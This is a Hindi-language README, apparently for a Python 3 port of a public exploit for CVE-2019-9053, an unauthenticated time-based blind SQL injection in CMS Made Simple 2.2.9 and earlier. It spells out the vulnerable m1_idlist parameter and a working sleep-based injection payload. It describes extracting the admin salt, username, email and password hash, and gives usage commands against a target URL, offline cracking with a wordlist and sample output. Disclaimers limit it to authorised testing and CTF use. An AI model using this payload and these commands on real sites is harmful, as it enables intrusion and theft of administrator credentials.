
CMS Made Simple ≤ 2.2.9 के लिए अप्रमाणित समय-आधारित ब्लाइंड SQL इंजेक्शन शोषण (CVE-2019-9053), Python 3 में पोर्ट किया गया।
अस्वीकरण: यह उपकरण केवल अधिकृत पैठ परीक्षण और शैक्षिक उद्देश्यों के लिए है। बिना स्पष्ट लिखित अनुमति के सिस्टम के विरुद्ध इसका उपयोग करना अवैध है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता।
यह CVE-2019-9053 के लिए सार्वजनिक एक्सप्लॉइट का Python 3 पोर्ट है – CMS Made Simple ≤ 2.2.9 में एक बिना प्रमाणीकरण के टाइम-बेस्ड ब्लाइंड SQL इंजेक्शन भेद्यता।
कमजोर पैरामीटर /moduleinterface.php एंडपॉइंट (न्यूज़ मॉड्यूल) पर m1_idlist है। उपयोगकर्ता इनपुट बिना सैनिटाइज़ किए SQL क्वेरी में पास हो जाता है, जिससे एक अप्रमाणित हमलावर एडमिन सॉल्ट, उपयोगकर्ता नाम, ईमेल और पासवर्ड हैश निकाल सकता है – और वैकल्पिक रूप से पासवर्ड ऑफ़लाइन क्रैक कर सकता है।
मूल एक्सप्लॉइट Daniele Scanu @ Certimeter Group द्वारा।
सुधार और सफाई के साथ Python 3 पोर्ट।
एक्सप्लॉइट एक टाइमिंग ओरेकल का उपयोग करता है – यह SQL LIKE शर्त में SELECT sleep(T) इंजेक्ट करता है और HTTP प्रतिक्रिया समय मापता है। यदि सर्वर T सेकंड या अधिक रुकता है, तो इंजेक्ट की गई शर्त सत्य थी। यह HTTP प्रतिक्रिया बॉडी में कोई डेटा दिखाए बिना एक-एक कैरेक्टर डेटा निकालने की अनुमति देता है।
पेलोड संरचना:
m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
+where+password+like+0x{hex(known_prefix+guess)}25
+and+user_id+like+0x31)+--+
निष्कर्षण क्रम:
| चरण | फ़ील्ड | तालिका | नोट्स |
|---|---|---|---|
| 1 | सॉल्ट | cms_siteprefs | पासवर्ड क्रैक करने के लिए आवश्यक |
| 2 | उपयोगकर्ता नाम | cms_users | user_id = 1 (एडमिन) |
| 3 | ईमेल | cms_users | user_id = 1 (एडमिन) |
| 4 | पासवर्ड | cms_users | MD5(salt + password) के रूप में संग्रहीत |
निष्कर्षण के बाद, वैकल्पिक ऑफ़लाइन डिक्शनरी अटैक एक वर्डलिस्ट के विरुद्ध MD5(salt + word) की गणना करता है – किसी और नेटवर्क अनुरोध की आवश्यकता नहीं।
मूल स्क्रिप्ट Python 2 के लिए लिखी गई थी। निम्नलिखित ब्रेकिंग बदलाव ठीक किए गए:
| # | बदलाव | कारण |
|---|---|---|
| 1 | print "..." → print("...") | print Python 3 में एक फ़ंक्शन है |
| 2 | hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode()) | hashlib.md5() को Python 3 में bytes चाहिए |
| 3 | dict = open(wordlist) → with open(wordlist) as wordlist_file | dict बिल्ट-इन को छाया देता है; कॉन्टेक्स्ट मैनेजर पर स्विच किया |
| 4 | print "\033c" → print("\033c", end="") | टर्मिनल क्लियर पर डबल न्यूलाइन से बचने के लिए |
| 5 | print colored(...) → print(colored(...)) | colored() एक स्ट्रिंग लौटाता है; print() रैपर चाहिए |
pip3 install requests termcolor
| डिपेंडेंसी | उद्देश्य |
|---|---|
requests | HTTP अनुरोध लक्ष्य तक भेजने के लिए |
termcolor | रंगीन टर्मिनल आउटपुट के लिए |
# मूल निष्कर्षण (पासवर्ड क्रैकिंग के बिना)
python3 exploit.py -u http://<target-ip>/simple
# निष्कर्षण + ऑफ़लाइन पासवर्ड क्रैकिंग
python3 exploit.py -u http://<target-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt
| फ़्लैग | विवरण |
|---|---|
-u, --url | CMS Made Simple इंस्टॉलेशन का बेस URL |
-w, --wordlist | ऑफ़लाइन पासवर्ड क्रैकिंग के लिए वर्डलिस्ट का पथ |
-c, --crack | पासवर्ड क्रैकिंग मोड सक्षम करें |
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2019-9053 |
| CVSS स्कोर | 7.5 (उच्च) |
| प्रकार | बिना प्रमाणीकरण के टाइम-बेस्ड ब्लाइंड SQL इंजेक्शन |
| प्रभावित | CMS Made Simple ≤ 2.2.9 |
| पैरामीटर | न्यूज़ मॉड्यूल में m1_idlist |
| प्रमाणीकरण आवश्यक | कोई नहीं |
| पैच | CMS Made Simple 2.2.10+ |
यह एक्सप्लॉइट अधिकृत पैठ परीक्षण और CTF/शैक्षिक उपयोग के लिए प्रदान किया गया है।
जिन सिस्टमों के आप मालिक नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, उनके विरुद्ध अनधिकृत उपयोग IT अधिनियम, 2000 (भारत) और दुनिया भर के समकक्ष कानूनों के तहत एक आपराधिक अपराध है।